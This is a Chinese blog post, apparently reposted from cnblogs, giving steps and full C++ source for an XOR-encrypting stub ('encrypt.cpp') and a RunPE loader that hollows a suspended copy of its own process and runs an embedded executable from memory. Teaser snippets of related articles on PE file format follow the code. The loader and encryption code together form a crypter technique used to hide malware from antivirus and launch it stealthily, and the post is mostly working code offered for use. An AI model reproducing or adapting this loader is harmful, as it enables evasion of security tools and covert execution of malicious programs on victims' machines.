内存运行PE文件

内存中运行文件

拿exe并在HxD或010中打开 - cntrl+a copy as C
粘贴到encrypt.cpp
编译并运行encrypt.cpp - 创建shellcode.txt
从shellcode.txt复制char数组,并替换runPE.cpp中的rawData []
编译生成最终的runPE.exe
使用XOR密钥解密,加载到内存中执行。

encrypt.cpp

//encrypt shellcode prior to storing in stub
//store in shellcodeEncrypted.txt
//copy into runPE.cpp

#include <iostream>
#include <fstream>
#include <string>
using namespace std;

//Real PE shellcode dump here - fix length also
const int length = 2;
unsigned char rawData[length] = {
    0x00, 0xff
};

void crypt(unsigned char rawData[], int length)
{
    char key = 0x42;
    for (int i = 0; i < length; i++)
    {
        rawData[i] = (char)(rawData[i] ^ key);
    }
}

struct HexCharStruct
{
    unsigned char c;
    HexCharStruct(unsigned char _c) : c(_c) { }
};

inline std::ostream& operator<<(std::ostream& o, const HexCharStruct& hs)
{
    return (o << std::hex << (int)hs.c);
}

inline HexCharStruct hex(unsigned char _c)
{
    return HexCharStruct(_c);
}

int main()
{
    ofstream output;
    output.open("shellcodeEncrypted.txt");
    crypt(rawData, length);
    output << "unsigned char rawData[" << to_string(length) << "]"         << " = { ";
    for (int i = 0; i < length; i++)
    {
        output << "0x" << hex(rawData[i]) << ",";
        if (i % 20 == 0)
        {
            output << endl;
        }
    }
    output << "};";
}

RunPE.cpp

#include <iostream> // Standard C++ library for console I/O
#include <string> // Standard C++ Library for string manip
#include <fstream>
#include <Windows.h> // WinAPI Header
#include <TlHelp32.h> //WinAPI Process API

// use this if you want to read the executable from disk
HANDLE MapFileToMemory(LPCSTR filename)
{
    std::streampos size;
    std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
    if (file.is_open())
    {
        size = file.tellg();

        char* Memblock = new char[size]();

        file.seekg(0, std::ios::beg);
        file.read(Memblock, size);
        file.close();

        return Memblock;
    }
    return 0;
}

int RunPortableExecutable(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
                                                     //process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                // Write the image to the process
                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                {
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));

                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
                        LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                }
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
                    LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); //′Start the process/call main()

                return 0; // Operation was successful.
            }
        }
    }
}

// enter valid bytes of a program here.
//Using 010 Hex editor or HxD - copy all as C hex works perfectly. A complete hexdump, no magic ;)
void decrypt(unsigned char rawData[], int length)
{
    char key = 0x42;
    for (int i = 0; i < length; i++)
    {
        rawData[i] = (char)(rawData[i] ^ key);
    }
}

//Place encrypted shellcode here - fix length also!
const int length = 2;
unsigned char rawData[length] = {
    0x00, 0x00
};

int main()
{
    decrypt(rawData, length);
    RunPortableExecutable(rawData); // run executable from the array
    getchar();
}

原文地址:https://www.cnblogs.com/17bdw/p/11422403.html

时间: 2024-11-01 13:24:06

内存运行PE文件的相关文章

深入剖析PE文件

不赖猴的笔记,转载请注明出处. 深入剖析PE文件 PE文件是Win32的原生文件格式.每一个Win32可执行文件都遵循PE文件格式.对PE文件格式的了解可以加深你对Win32系统的深入理解. 一.        基本结构. 上图便是PE文件的基本结构.(注意:DOS MZ Header和部分PE header的大小是不变的:DOS stub部分的大小是可变的.) 一个PE文件至少需要两个Section,一个是存放代码,一个存放数据.NT上的PE文件基本上有9个预定义的Section.分别是:.t

深入学习PE文件(转)

PE文件是Win32的原生文件格式.每一个Win32可执行文件都遵循PE文件格式.对PE文件格式的了解可以加深你对Win32系统的深入理解. 一. 基本结构. 上图便是PE文件的基本结构.(注意:DOS MZ Header和部分PE header的大小是不变的:DOS stub部分的大小是可变的.) 一个PE文件至少需要两个Section,一个是存放代码,一个存放数据.NT上的PE文件基本上有9个预定义的Section.分别是:.text, .bss, .rdata, .data, .rsrc,

分配粒度和内存页面大小(x86处理器平台的分配粒度是64K,内存页是4K,所以section都是0x1000对齐,硬盘扇区大小是512字节,所以PE文件默认文件对齐是0x200)

分配粒度和内存页面大小 x86处理器平台的分配粒度是64K,32位CPU的内存页面大小是4K,64位是8K,保留内存地址空间总是要和分配粒度对齐.一个分配粒度里包含16个内存页面. 这是个概念,具体不用自己操心,比如用VirtualAllocEx等函数,给lpAddress参数NULL系统就会自动找一个地方分配你要的内存空间.如果需要自己管理这个就累了...... 一个分配粒度是64K,这就是为什么Null指针区域和64K进入区域都是 64K的原因,刚好就是一个分配粒度.一个内存页是4K,这就是

打造XP下可运行的微型PE文件

前几天和朋友交流技术,提到手工打造微型PE文件,他说现在网上流传的大部分版本在XP SP3下都不能运行,于是心血来潮,拍着胸脯说:“你放心,忙完了帮你做一个.”后来花了半天时间,终于打造出一个XP下可运行的微型PE,弹出一个对话框,292字节,当然这离极限也许还差得远,不过自己做了一次,还是有些心得,贴出来和大家分享一下.本文介绍的这个MiniPE可以在下载:http://download.csdn.net/source/774041 第一步 准备PE文件先创建一个PE文件,为了尽可能地小,我们

PE文件基础

① PE (Portable Executable):微软参考COFF(Common Object File Format)规范,在Windows NT系统上制定的一种标准, 用于exe可执行文件.obj目标文件和dll动态链接库等文件格式.PE32+是PE的64位扩展,其并未添加额外结构,只是把原来32位的字段变成了64位. 与COFF一样,PE也是基于段(Segment,注:有时也被叫节Section)的结构, 按照不同属性将信息分段存放,常见的段有:代码段(.text).数据段(.data

浅析MSIL中间语言——PE文件结构篇

一.开篇 开篇我想讲一下于本文无关的话题,其实我很想美化一下自己博客园一直没时间弄,无意间找了博客园李宝亨的博客园里面有一篇分享自己主题的文章,我就将这个模板暂时用作我的blog主题,我要讲述一个关于PE文件结构的文章,这篇文章动手能力比较强,希望大家能够动手进行操作,这边文章篇幅有可能会长一些,为了方便大家阅读我可以将其分为几个部分进行讲解,主要分为以下几个部分: ①  PE文件头 ②  导入表 ③  导出表 ④  资源表 下面我来讲解下为什么要学PE文件结构,因为了解PE文件结构就会了解到数

获取PE文件的输入表信息

输入表是PE文件结构中不可或缺的部分,输入表也称之为"导入表". 要想了解输入表,首先还得先从DLL文件入手.日常生活中我们会看见一些大型软件有很多的DLL格式的文件,这些文件中有很多的导入函数,这些函数不会直接被执行.当一个程序(EXE)运行时,导入函数是被程序调用执行的,其执行的代码是不在主程序(EXE)中的一小部分函数,其真正的代码却在DLL文件中.这时我们就会想,那么EXE主程序是如何找到这些需要导入的函数呢,这就要归结于“输入表”了,输入表就相当于EXE文件与DLL文件沟通的

手写PE文件(二)

[文章标题]: 纯手工编写的PE可执行程序 [文章作者]: Kinney [作者邮箱]: [email protected] [下载地址]: 自己搜索下载 [使用工具]: C32 [操作平台]: win 7 [作者声明]: 只是感兴趣,没有其他目的.失误之处敬请诸位大侠赐教! ---------------------------------------------------------------------------------------------------------------

手写PE文件(一)

DOS Header(IMAGE_DOS_HEADER)->64 Byte DOS头部 DOS Stub 112字节 "PE"00(Signature) 4个字节 IMAGE_FILE_HEADER  20个字节 PE文件头       IMAGE_OPTIONAL_HEADER32  96个字节 数据目录表         16*8=128个字节 IMAGE_SECTION_HEADER    40个字节 块表              IMAGE_SECTION_HEADER